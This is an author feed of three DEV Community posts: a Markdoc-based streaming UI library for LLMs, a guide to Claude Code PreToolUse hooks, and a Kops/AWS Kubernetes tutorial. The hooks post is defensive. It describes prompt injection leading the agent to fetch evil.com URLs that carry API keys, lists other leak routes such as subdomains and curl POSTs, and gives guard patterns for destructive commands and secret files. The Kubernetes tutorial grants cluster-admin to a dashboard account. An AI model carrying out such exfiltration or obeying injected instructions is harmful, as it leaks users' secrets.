DEV Community: Abhay

Why Markdoc for LLM Streaming UI

Abhay — Fri, 03 Apr 2026 13:10:12 +0000

Every AI chatbot I've built hits the same wall.

The LLM writes beautiful markdown — headings, bold, lists, code blocks. Then someone asks for a chart. Or a form. Or a data table with sortable columns.

Suddenly you need a component rendering layer. And every approach has tradeoffs.

That's why I built mdocUI: a streaming-first generative UI library that lets LLMs mix markdown and interactive components in one output stream.

The Problem

JSON blocks in markdown

Some teams embed JSON in fenced code blocks:

Here's your revenue data:

```json:chart
{"type": "bar", "labels": ["Q1", "Q2", "Q3"], "values": [120, 150, 180]}
```

This works until you're streaming. A JSON object that arrives token-by-token is invalid JSON until the closing brace lands. You either buffer the entire block (killing the streaming experience) or parse incomplete JSON (fragile).

JSX in markdown

Here's your data:

<Chart type="bar" labels={["Q1", "Q2", "Q3"]} values={[120, 150, 180]} />

Models get confused. They mix HTML attributes with JSX props. They forget to close tags. The < character appears everywhere in normal text, making streaming parsing ambiguous.

Custom DSLs

Some teams invent their own syntax — [[chart:bar:Q1=120,Q2=150]] or similar. Now you're training the model on a format it's never seen, burning tokens on format instructions, and maintaining a custom parser.

Why Markdoc Tag Syntax

Markdoc is a documentation framework created by Stripe. It extends markdown with custom tag delimiters. In this article, I’ll show them as [% %] so Dev.to doesn’t try to parse them as Liquid:

Here's your revenue data:

[% chart type="bar" labels=["Q1","Q2","Q3"] values=[120,150,180] /%]

Revenue grew 12% quarter-over-quarter.

[% button action="continue" label="Show by region" /%]

Three properties make this tag syntax ideal for LLM streaming:

Unambiguous delimiter — the opening sequence is something you would never expect in normal prose, standard markdown, or fenced code blocks. A streaming parser can detect it without lookahead or backtracking.
Models already know it — Markdoc is in training data (Stripe docs, Cloudflare docs). Models write it correctly without extensive format instructions.
Prose and components coexist — no mode switching. The LLM writes markdown and drops components wherever they fit. The parser separates them as tokens arrive.

How mdocUI Works

mdocUI borrows only the tag syntax from Markdoc. We built our own streaming parser from scratch.

Architecture:

LLM tokens → Tokenizer → StreamingParser → ComponentRegistry → Renderer

The tokenizer is a character-by-character state machine with three states: IN_PROSE, IN_TAG, IN_STRING. As tokens arrive, it separates prose from component tags.

The ComponentRegistry validates tag names and props against Zod schemas. Invalid tags get error boundaries, not crashes.

The Renderer maps AST nodes to React components. Every component is theme-neutral — currentColor, inherit, no hardcoded colors. Swap any component with your own.

Getting Started

pnpm add @mdocui/core @mdocui/react

import { generatePrompt } from '@mdocui/core'
import { createDefaultRegistry, defaultGroups } from '@mdocui/react'
import { Renderer, useRenderer, defaultComponents } from '@mdocui/react'

const registry = createDefaultRegistry()

// Auto-generate system prompt from your component registry
const systemPrompt = generatePrompt(registry, {
  preamble: 'You are a helpful assistant.',
  groups: defaultGroups,
})

// In your React component
function Chat() {
  const { nodes, isStreaming, push, done } = useRenderer({ registry })

  return (
    <Renderer
      nodes={nodes}
      components={defaultComponents}
      isStreaming={isStreaming}
      onAction={(event) => console.log(event)}
    />
  )
}

24 components are included: chart, table, stat, card, grid, tabs, form, button, callout, accordion, progress, badge, image, code-block, and more.

What's Next

mdocUI is alpha (0.6.x). The API is stabilizing. We're working on:

Vue, Svelte, and Solid renderers
Vercel AI SDK useChat bridge
Browser devtools for AST inspection
VS Code extension for Markdoc-style tag syntax highlighting

Try the playground: https://mdocui.vercel.app
GitHub: https://github.com/mdocui/mdocui
Docs: https://mdocui.github.io

Feedback, issues, and PRs welcome.

Claude Code: Auto-Approve Tools While Keeping a Safety Net with Hooks

Abhay — Tue, 31 Mar 2026 06:48:59 +0000

Every time Claude Code fetches a URL, it asks for permission. After the 50th approval for a docs page, you start wondering — can I just auto-allow this?

You can. But there's a catch: WebFetch can send data in query parameters. A prompt injection buried in a file could trick Claude into fetching https://evil.com?secret=YOUR_API_KEY. Auto-approving everything means you'd never see it happen.

Here's how I set up a middle ground: auto-allow clean URLs, but show a confirmation prompt when query parameters are present.

The naive approach (don't do this)

You might think adding WebFetch to permissions is enough:

// ~/.claude/settings.json
{
  "permissions": {
    "allow": ["WebFetch"]
  }
}

This works — but it auto-allows everything, including https://evil.com?token=abc123. No safety net.

The hook approach (do this instead)

Claude Code has a PreToolUse hook system. A hook runs before every tool call and can:

Exit 0 — silently allow (no prompt)
Exit 1 — show a message and ask for confirmation (approve/deny)
Exit 2 — hard block (no option to proceed)

The hook receives the full tool call as JSON via stdin — tool name, input parameters, session ID, everything.

Here's the setup in ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "WebFetch",
        "hooks": [
          {
            "type": "command",
            "command": "python3 -c \"import sys,json; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); print('URL has query params, review: '+url, file=sys.stderr) if '?' in url else None; sys.exit(1) if '?' in url else sys.exit(0)\"",
            "statusMessage": "Checking WebFetch URL for query params..."
          }
        ]
      }
    ]
  }
}

That's it. One hook, zero dependencies.

What this does

URL	Behavior
`https://docs.python.org/3/library/json.html`	Auto-allowed, no prompt
`https://api.example.com/data?key=secret`	Shows URL, asks you to approve or deny

When a URL has query params, you'll see something like:

URL has query params, review: https://api.example.com/data?key=secret

And Claude Code pauses for your decision. If it's legitimate (like a search query or API docs with anchors), you approve. If it looks suspicious, you deny.

How it works under the hood

The PreToolUse hook receives JSON on stdin with this structure:

{
  "session_id": "abc-123",
  "hook_event_name": "PreToolUse",
  "tool_name": "WebFetch",
  "tool_input": {
    "url": "https://example.com/page?q=test",
    "prompt": "Summarize this page"
  }
}

The Python one-liner:

Reads the JSON from stdin
Extracts the URL from tool_input.url
Checks if ? is present
Exits with 1 (ask) or 0 (allow)

Gotcha: `permissions.allow` overrides hooks

This tripped me up. If you add WebFetch to both permissions.allow AND set up a hook:

{
  "permissions": {
    "allow": ["WebFetch"]  
  },
  "hooks": {
    "PreToolUse": [...]
  }
}

The hook never fires. permissions.allow takes full precedence — the tool is approved before the hook even runs. Remove the permission rule and let the hook be the sole gatekeeper.

Gotcha: stdin, not environment variables

Hook input comes via stdin, not an environment variable. I initially tried os.environ.get('ARGUMENTS') — it was empty. The correct approach is json.load(sys.stdin).

Going further

You can apply this pattern to other tools too. Some ideas:

Bash command guard — ask before running destructive commands:

{
  "matcher": "Bash",
  "hooks": [{
    "type": "command",
    "command": "python3 -c \"import sys,json; cmd=json.load(sys.stdin).get('tool_input',{}).get('command',''); dangerous=any(w in cmd for w in ['rm -rf','drop table','--force','--hard']); print('Dangerous command: '+cmd, file=sys.stderr) if dangerous else None; sys.exit(1) if dangerous else sys.exit(0)\""
  }]
}

Write guard — flag writes to sensitive paths:

{
  "matcher": "Write",
  "hooks": [{
    "type": "command",
    "command": "python3 -c \"import sys,json; path=json.load(sys.stdin).get('tool_input',{}).get('file_path',''); sensitive=any(s in path for s in ['.env','.key','credentials','secret']); print('Writing to sensitive file: '+path, file=sys.stderr) if sensitive else None; sys.exit(1) if sensitive else sys.exit(0)\""
  }]
}

Caution: This is not bulletproof

This hook catches the most common exfiltration vector — query parameters. But data can leak through other parts of a URL too:

Path parameters:

https://evil.com/exfil/YOUR_API_KEY/done

Subdomains:

https://YOUR_API_KEY.evil.com/callback

Fragment identifiers (less risky since fragments aren't sent to servers, but still worth knowing):

https://evil.com/page#secret=abc

POST body via other tools — if an attacker tricks Claude into using Bash with curl -d "secret=xxx", WebFetch hooks won't catch it at all.

What you can do about it

Allowlist known domains — instead of checking for ?, flip the logic. Only auto-allow domains you trust, and ask for everything else:

{
  "command": "python3 -c \"import sys,json; from urllib.parse import urlparse; data=json.load(sys.stdin); url=data.get('tool_input',{}).get('url',''); host=urlparse(url).hostname or ''; trusted=['docs.python.org','developer.mozilla.org','github.com','stackoverflow.com']; is_trusted=any(host.endswith(d) for d in trusted); print('Unknown domain: '+url, file=sys.stderr) if not is_trusted else None; sys.exit(0 if is_trusted else 1)\""
}

Layer your defenses — combine the query param hook with a domain allowlist. Use exit 0 for trusted domains with no params, exit 1 for trusted domains with params or unknown domains, and exit 2 for known-bad patterns.
Watch your Bash tool too — add a separate hook for Bash that flags curl, wget, or nc commands with suspicious arguments.
Review the URL every time you approve — sounds obvious, but when you're in flow and approving prompts quickly, it's easy to glaze over. The whole point of exit code 1 is to make you pause. Actually pause.

Bottom line: The hook in this article reduces your attack surface significantly — most prompt injection exfiltration uses query params because it's the easiest path. But no single check catches everything. Treat this as one layer, not the whole wall.

TL;DR

Don't use permissions.allow for WebFetch — it bypasses all hooks
Use a PreToolUse hook that exits 0 (allow) or 1 (ask) based on the URL
Hook input is JSON via stdin
~/.claude/settings.json makes it global across all projects
Query param checks are a good start, but consider domain allowlisting for stronger protection
Data can also leak via path params, subdomains, and Bash commands — layer your defenses

The goal isn't to block Claude from fetching URLs. It's to keep yourself in the loop when data might be leaving your machine. Two minutes of setup, permanent peace of mind — but stay vigilant.

If you're using Claude Code daily, these small safety guardrails compound. Two minutes of config now saves you from a bad day later. Got a better hook setup? Drop it in the comments — let's build a community-maintained collection.

Setup your own Kubernetes Cluster with Kops and AWS Infrastructure

Abhay — Sun, 01 Mar 2020 06:26:59 +0000

As you started reading this article, so I believe you must known What is kubernetes and AWS.

Pre-requisite configuration:

AWS Account → https://portal.aws.amazon.com/billing/signup
Kubectl (Kubernetes Command-lin Tool):
Install Kubectl on your system → https://kubernetes.io/docs/tasks/tools/install-kubectl/
KOPS (Kubernetes Operations):
Install Kops on your system, follow this official documentation → https://github.com/kubernetes/kops#installing
Install AWS CLI and configure - https://aws.amazon.com/cli/

Verify installation by execcuting aws --version

You need to create new user on AWS. However you can use root user, but its not recommended at all.

Open IAM console: https://console.aws.amazon.com/iam/
In the navigation pane, choose Users and then choose Add user
Type user name for new user. I am using kops as a username for simplicity
Select type of access as Programmatic access
Choose Next for Permission and give admin access to this user with AdministratorAccess Policy
Choose next for Tags and Review
This will creates an Access Key ID and Secret Access Key. Store them securely as You will not have access to the secret access key again after this step.

Use command aws configure and enter Access Key ID, Secret Access Key and Default Region Name on prompt. I am using ap-south-1 which is Asia Pacific server at Mumbai. See list of aws regions here.

Deploying Kubernetes to AWS

https://kops.sigs.k8s.io/getting_started/aws/

Setup IAM user

Create an IAM user with following permissions:

AmazonEC2FullAccess
AmazonRoute53FullAccess
AmazonS3FullAccess
IAMFullAccess
AmazonVPCFullAccess

Do it with command line>

aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonEC2FullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonRoute53FullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/IAMFullAccess --group-name kops aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonVPCFullAccess --group-name kops

aws iam create-user --user-name kops

aws iam add-user-to-group --user-name kops --group-name kops

aws iam create-access-key --user-name kops

Buy a domain (If don't have already)

I have buy (:p) https://kubernetes.cf for this tutorial

Create Hosted Zone in AWS

Create hosted zone in AWS and update NS in DNS of domain provider

Test the DNS setup

dig ns dev.kubernetes.cf

should get something like
;; ANSWER SECTION:
dev.kubernetes.cf. 172800 IN NS ns-1.awsdns-1.net.
dev.kubernetes.cf. 172800 IN NS ns-2.awsdns-2.org.
dev.kubernetes.cf. 172800 IN NS ns-3.awsdns-3.com.
dev.kubernetes.cf. 172800 IN NS ns-4.awsdns-4.co.uk.

Create cluster state storage on S3

aws s3api create-bucket \ --bucket dev-kubernetes-cf-state-store \ --region ap-south-1 --create-bucket-configuration LocationConstraint=<region>

aws s3api put-bucket-versioning --bucket dev-kubernetes-cf-state-store --versioning-configuration Status=Enabled

aws s3api put-bucket-encryption --bucket dev-kubernetes-cf-state-store --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'

Creating the Cluster

export NAME=dev.kubernetes.cf export KOPS_STATE_STORE=s3://dev-kubernetes-cf-state-store

aws ec2 describe-availability-zones --region ap-south-1

create secret generate local keys: ssh-keygen

kops create secret --name dev.kubernetes.cf sshpublickey admin -i ~/.ssh/id_rsa.pub

create SSL using AWS Certificate Manager

kops create cluster \ --zones ap-south-1a \ --state s3://dev-kubernetes-cf-state-store \ --api-ssl-certificate arn:aws:acm:[aws-cert-key-id} \ ${NAME} 

Master and Worker nodes are configurable in termas of specification and count

If you want to edit something
kops edit cluster ${NAME}

Finally apply cluster configuration
kops update cluster ${NAME} --yes

kubectl get nodes

use following command to validate cluster is up and running, it may take up to 10-15 minutes to complete setup
kops validate cluster

Install Kubernetes Dashboard

Connect to master

ssh to the master: ssh -i ~/.ssh/id_rsa admin@api.dev.kubernetes.cf

Install Kube Dashboard

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta6/aio/deploy/recommended.yaml

Create the service account in the current namespace

kubectl create serviceaccount my-dashboard-sa

Give that service account root access on the cluster

kubectl create clusterrolebinding my-dashboard-sa \
--clusterrole=cluster-admin \
--serviceaccount=default:my-dashboard-sa`

Find the secret that was created to hold the token for the SA

kubectl get secrets

Show the contents of the secret to extract the token

kubectl describe secret my-dashboard-sa-token-xxxxx

run `kubectl proxy`

Install ngnix-controller with helm

Install Helm - https://helm.sh/docs/intro/install/

helm install nginx-cntroller nginx/nginx-ingress

apply SSL on Load Balancer

update load balancer endpoint url in Route53 as alias target

change loadbalancer instance port of 443 same as 80

create service i.e. goapp

User followign docker image for quick reference: https://hub.docker.com/r/abygawade/goapp

create an ingress with following configuration

apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: dev-ingress
spec:
  rules:
  - host: dev.kubernetes.cf
    http:
      paths:
      - path: /go
        backend:
          serviceName: goapp
          servicePort: 80

Visit: http://dev.kubernetes.cf/go
https://dev.kubernetes.cf/go

Replace kubernetes.cf with your domain name